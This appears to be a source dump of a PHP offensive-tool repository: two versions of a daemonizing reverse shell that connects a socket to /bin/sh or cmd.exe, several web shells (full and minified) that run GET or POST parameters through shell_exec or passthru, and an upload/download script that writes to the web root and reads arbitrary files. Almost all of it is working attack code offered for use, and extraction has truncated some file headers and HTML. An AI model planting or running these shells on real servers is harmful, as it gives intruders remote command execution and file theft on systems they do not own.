| @set_time_limit(0); // do not impose the script execution time limit 60 | @umask(0); // set the file/directory permissions - 666 for files and 777 for directories 61 | } 62 | private function dump($data) { 63 | if ($this->sdump) { 64 | $data = str_replace('<', '<', $data); 65 | $data = str_replace('>', '>', $data); 66 | echo $data; 67 | } 68 | } 69 | private function read($stream, $name, $buffer) { 70 | if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream 71 | $this->error = true; // set the global error flag 72 | echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n"; 73 | } 74 | return $data; 75 | } 76 | private function write($stream, $name, $data) { 77 | if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream 78 | $this->error = true; // set the global error flag 79 | echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n"; 80 | } 81 | return $bytes; 82 | } 83 | // read/write method for non-blocking streams 84 | private function rw($input, $output, $iname, $oname) { 85 | while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { 86 | if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length 87 | $this->dump($data); // script's dump 88 | } 89 | } 90 | // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) 91 | // we must read the exact byte length from a stream and not a single byte more 92 | private function brw($input, $output, $iname, $oname) { 93 | $size = fstat($input)['size']; 94 | if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { 95 | // for some reason Windows OS pipes STDIN into STDOUT 96 | // we do not like that 97 | // so we need to discard the data from the stream 98 | while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { 99 | $this->clen -= $bytes; 100 | $size -= $bytes; 101 | } 102 | } 103 | while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { 104 | $size -= $bytes; 105 | $this->dump($data); // script's dump 106 | } 107 | } 108 | public function run() { 109 | if ($this->detect() && !$this->daemonize()) { 110 | $this->settings(); 111 | 112 | // ----- SOCKET BEGIN ----- 113 | $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); 114 | if (!$socket) { 115 | echo "SOC_ERROR: {$errno}: {$errstr}\n"; 116 | } else { 117 | stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS 118 | 119 | // ----- SHELL BEGIN ----- 120 | $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); 121 | if (!$process) { 122 | echo "PROC_ERROR: Cannot start the shell\n"; 123 | } else { 124 | foreach ($pipes as $pipe) { 125 | stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS 126 | } 127 | 128 | // ----- WORK BEGIN ----- 129 | $status = proc_get_status($process); 130 | @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n"); 131 | do { 132 | $status = proc_get_status($process); 133 | if (feof($socket)) { // check for end-of-file on SOCKET 134 | echo "SOC_ERROR: Shell connection has been terminated\n"; break; 135 | } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running 136 | echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams 137 | } // use proc_get_status() instead 138 | $streams = array( 139 | 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 140 | 'write' => null, 141 | 'except' => null 142 | ); 143 | $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS 144 | if ($num_changed_streams === false) { 145 | echo "STRM_ERROR: stream_select() failed\n"; break; 146 | } else if ($num_changed_streams > 0) { 147 | if ($this->os === 'LINUX') { 148 | if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 149 | if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 150 | if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 151 | } else if ($this->os === 'WINDOWS') { 152 | // order is important 153 | if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 154 | if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 155 | if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 156 | } 157 | } 158 | } while (!$this->error); 159 | // ------ WORK END ------ 160 | 161 | foreach ($pipes as $pipe) { 162 | fclose($pipe); 163 | } 164 | proc_close($process); 165 | } 166 | // ------ SHELL END ------ 167 | 168 | fclose($socket); 169 | } 170 | // ------ SOCKET END ------ 171 | 172 | } 173 | } 174 | } 175 | echo '
';
176 | // change the host address and/or port number as necessary
177 | $sh = new Shell('127.0.0.1', 9000);
178 | $sh->run();
179 | unset($sh);
180 | // garbage collector requires PHP v5.3.0 or greater
181 | // @gc_collect_cycles();
182 | echo '
'; 183 | ?> 184 | -------------------------------------------------------------------------------- /src/reverse/php_reverse_shell_older.php: -------------------------------------------------------------------------------- 1 | array('pipe', 'r'), // shell can read from STDIN 14 | 1 => array('pipe', 'w'), // shell can write to STDOUT 15 | 2 => array('pipe', 'w') // shell can write to STDERR 16 | ); 17 | var $buffer = 1024; // read/write buffer size 18 | var $clen = 0; // command length 19 | var $error = false; // stream read/write error 20 | var $sdump = true; // script's dump 21 | function Shell($addr, $port) { 22 | $this->addr = $addr; 23 | $this->port = $port; 24 | } 25 | function detect() { 26 | $detected = true; 27 | $os = strtoupper(PHP_OS); 28 | if (strpos($os, 'LINUX') !== false || strpos($os, 'DARWIN') !== false) { 29 | $this->os = 'LINUX'; 30 | $this->shell = '/bin/sh'; 31 | } else if (strpos($os, 'WINDOWS') !== false || strpos($os, 'WINNT') !== false || strpos($os, 'WIN32') !== false) { 32 | $this->os = 'WINDOWS'; 33 | $this->shell = 'cmd.exe'; 34 | } else { 35 | $detected = false; 36 | echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; 37 | } 38 | return $detected; 39 | } 40 | function daemonize() { 41 | $exit = false; 42 | if (!function_exists('pcntl_fork')) { 43 | echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; 44 | } else if (($pid = @pcntl_fork()) < 0) { 45 | echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; 46 | } else if ($pid > 0) { 47 | $exit = true; 48 | echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; 49 | // once daemonized, you will actually no longer see the script's dump 50 | } else if (posix_setsid() < 0) { 51 | echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; 52 | } else { 53 | echo "DAEMONIZE: Completed successfully!\n"; 54 | } 55 | return $exit; 56 | } 57 | function settings() { 58 | @error_reporting(0); 59 | @set_time_limit(0); // do not impose the script execution time limit 60 | @umask(0); // set the file/directory permissions - 666 for files and 777 for directories 61 | } 62 | function dump($data) { 63 | if ($this->sdump) { 64 | $data = str_replace('<', '<', $data); 65 | $data = str_replace('>', '>', $data); 66 | echo $data; 67 | } 68 | } 69 | function read($stream, $name, $buffer) { 70 | if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream 71 | $this->error = true; // set the global error flag 72 | echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n"; 73 | } 74 | return $data; 75 | } 76 | function write($stream, $name, $data) { 77 | if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream 78 | $this->error = true; // set the global error flag 79 | echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n"; 80 | } 81 | return $bytes; 82 | } 83 | // read/write method for non-blocking streams 84 | function rw($input, $output, $iname, $oname) { 85 | while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { 86 | if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length 87 | $this->dump($data); // script's dump 88 | } 89 | } 90 | // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) 91 | // we must read the exact byte length from a stream and not a single byte more 92 | function brw($input, $output, $iname, $oname) { 93 | $size = fstat($input)['size']; 94 | if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { 95 | // for some reason Windows OS pipes STDIN into STDOUT 96 | // we do not like that 97 | // so we need to discard the data from the stream 98 | while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { 99 | $this->clen -= $bytes; 100 | $size -= $bytes; 101 | } 102 | } 103 | while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { 104 | $size -= $bytes; 105 | $this->dump($data); // script's dump 106 | } 107 | } 108 | function run() { 109 | if ($this->detect() && !$this->daemonize()) { 110 | $this->settings(); 111 | 112 | // ----- SOCKET BEGIN ----- 113 | $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); 114 | if (!$socket) { 115 | echo "SOC_ERROR: {$errno}: {$errstr}\n"; 116 | } else { 117 | stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS 118 | 119 | // ----- SHELL BEGIN ----- 120 | $process = @proc_open($this->shell, $this->descriptorspec, $pipes); 121 | if (!$process) { 122 | echo "PROC_ERROR: Cannot start the shell\n"; 123 | } else { 124 | foreach ($pipes as $pipe) { 125 | stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS 126 | } 127 | 128 | // ----- WORK BEGIN ----- 129 | @fwrite($socket, "SOCKET: Shell has connected!\n"); 130 | do { 131 | if (feof($socket)) { // check for end-of-file on SOCKET 132 | echo "SOC_ERROR: Shell connection has been terminated\n"; break; 133 | } else if (feof($pipes[1])) { // check for end-of-file on STDOUT 134 | echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams 135 | } // the only way to exit on Windows OS is by terminating the socket connection (e.g. CTRL + C) 136 | $streams = array( 137 | 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 138 | 'write' => null, 139 | 'except' => null 140 | ); 141 | $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS 142 | if ($num_changed_streams === false) { 143 | echo "STRM_ERROR: stream_select() failed\n"; break; 144 | } else if ($num_changed_streams > 0) { 145 | if ($this->os === 'LINUX') { 146 | if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 147 | if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 148 | if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 149 | } else if ($this->os === 'WINDOWS') { 150 | // order is important 151 | if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 152 | if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 153 | if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 154 | } 155 | } 156 | } while (!$this->error); 157 | // ------ WORK END ------ 158 | 159 | foreach ($pipes as $pipe) { 160 | fclose($pipe); 161 | } 162 | proc_close($process); 163 | } 164 | // ------ SHELL END ------ 165 | 166 | fclose($socket); 167 | } 168 | // ------ SOCKET END ------ 169 | 170 | } 171 | } 172 | } 173 | echo '
';
174 | // change the host address and/or port number as necessary
175 | $sh = new Shell('127.0.0.1', 9000);
176 | $sh->run();
177 | unset($sh);
178 | echo '
'; 179 | ?> 180 | -------------------------------------------------------------------------------- /src/web/files.php: -------------------------------------------------------------------------------- 1 | 0) { 13 | $output = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . $_FILES[$parameter]['name']; 14 | if (@move_uploaded_file($_FILES[$parameter]['tmp_name'], $output) === false) { 15 | $output = 'ERROR: Cannot upload file.'; 16 | } else { 17 | $output = "SUCCESS: File was uploaded to '{$output}'"; 18 | } 19 | unset($_FILES[$parameter]); 20 | } 21 | if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'get' && isset($_GET[$parameter]) && ($_GET[$parameter] = trim($_GET[$parameter])) && strlen($_GET[$parameter]) > 0) { 22 | $output = @file_get_contents($_GET[$parameter]); 23 | if ($output === false) { 24 | $output = 'ERROR: Cannot download file'; 25 | } else { 26 | header('Content-Type: application/octet-stream'); 27 | header('Content-Disposition: attachment; filename="' . basename($_GET[$parameter]) . '"'); 28 | echo $output; 29 | $output = 'download'; 30 | } 31 | unset($_GET[$parameter]); 32 | } 33 | // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML 34 | // garbage collector requires PHP v5.3.0 or greater 35 | // if ($output != 'download') { echo "
{$output}
"; } unset($output);/* @gc_collect_cycles();*/ 36 | ?> 37 | 38 | 39 | 40 | 41 | 42 | PHP File Upload/Download 43 | 44 | 45 | 46 | 47 |
48 | 49 | 50 |
51 |
52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /src/web/minified/files_mini.php: -------------------------------------------------------------------------------- 1 | 0){$o=$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES[$p]['name'];if(@move_uploaded_file($_FILES[$p]['tmp_name'],$o)===false){$o='ERROR: Cannot upload file.';}else{$o="SUCCESS: File was uploaded to '{$o}'";}unset($_FILES[$p]);}if(isset($_SERVER['REQUEST_METHOD'])&&strtolower($_SERVER['REQUEST_METHOD'])==='get'&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@file_get_contents($_GET[$p]);if($o===false){$o='ERROR: Cannot download file';}else{header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($_GET[$p]).'"');echo $o;$o='download';}unset($_GET[$p]);}/*if($o!='download'){echo"
{$o}
";unset($o);}/*@gc_collect_cycles();*/ ?>PHP File Upload/Download
2 | -------------------------------------------------------------------------------- /src/web/minified/simple_php_web_shell_get__mini_v2.php: -------------------------------------------------------------------------------- 1 | 0){if(@passthru("($_GET[$p]) 2>&1")===false){echo 'ERROR: The function might be disabled.';}unset($_GET[$p]);/*@gc_collect_cycles();*/} ?> -------------------------------------------------------------------------------- /src/web/minified/simple_php_web_shell_get_mini.php: -------------------------------------------------------------------------------- 1 | 0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o='ERROR: The function might be disabled.';}else{$o=str_replace('<','<',$o);$o=str_replace('>','>',$o);}/*echo "
{$o}
";unset($o);unset($_GET[$p]);/*@gc_collect_cycles();*/} ?>Simple PHP Web Shell
2 | -------------------------------------------------------------------------------- /src/web/minified/simple_php_web_shell_post_mini.php: -------------------------------------------------------------------------------- 1 | 0){$o=@shell_exec("($_POST[$p]) 2>&1");if($o===false){$o='ERROR: The function might be disabled.';}else{$o=str_replace('<','<',$o);$o=str_replace('>','>',$o);}/*echo "
{$o}
";unset($o);unset($_POST[$p]);/*@gc_collect_cycles();*/} ?>Simple PHP Web Shell
2 | -------------------------------------------------------------------------------- /src/web/simple_php_web_shell_get.php: -------------------------------------------------------------------------------- 1 | 0) { 13 | // if shell_exec() is disabled, search for an alternative method 14 | $output = @shell_exec("($_GET[$parameter]) 2>&1"); 15 | if ($output === false) { 16 | $output = 'ERROR: The method might be disabled'; 17 | } else { 18 | $output = str_replace('<', '<', $output); 19 | $output = str_replace('>', '>', $output); 20 | } 21 | // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML 22 | // garbage collector requires PHP v5.3.0 or greater 23 | // echo "
{$output}
"; unset($output); unset($_GET[$parameter]);/* @gc_collect_cycles();*/ 24 | } 25 | ?> 26 | 27 | 28 | 29 | 30 | Simple PHP Web Shell 31 | 32 | 33 | 34 | 35 |
36 | 37 | 38 | -------------------------------------------------------------------------------- /src/web/simple_php_web_shell_get_v2.php: -------------------------------------------------------------------------------- 1 | 0) { 14 | // if passthru() is disabled, search for an alternative method 15 | if (@passthru("($_GET[$parameter]) 2>&1") === false) { 16 | echo 'ERROR: The method might be disabled'; 17 | } 18 | unset($_GET[$parameter]); 19 | // garbage collector requires PHP v5.3.0 or greater 20 | // @gc_collect_cycles(); 21 | } 22 | ?> 23 | -------------------------------------------------------------------------------- /src/web/simple_php_web_shell_post.php: -------------------------------------------------------------------------------- 1 | 0) { 12 | // if shell_exec() is disabled, search for an alternative method 13 | $output = @shell_exec("($_POST[$parameter]) 2>&1"); 14 | if ($output === false) { 15 | $output = 'ERROR: The method might be disabled'; 16 | } else { 17 | $output = str_replace('<', '<', $output); 18 | $output = str_replace('>', '>', $output); 19 | } 20 | // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML 21 | // garbage collector requires PHP v5.3.0 or greater 22 | // echo "
{$output}
"; unset($output); unset($_POST[$parameter]);/* @gc_collect_cycles();*/ 23 | } 24 | ?> 25 | 26 | 27 | 28 | 29 | Simple PHP Web Shell 30 | 31 | 32 | 33 | 34 |
35 | 36 |
37 |
38 | 39 | 40 | --------------------------------------------------------------------------------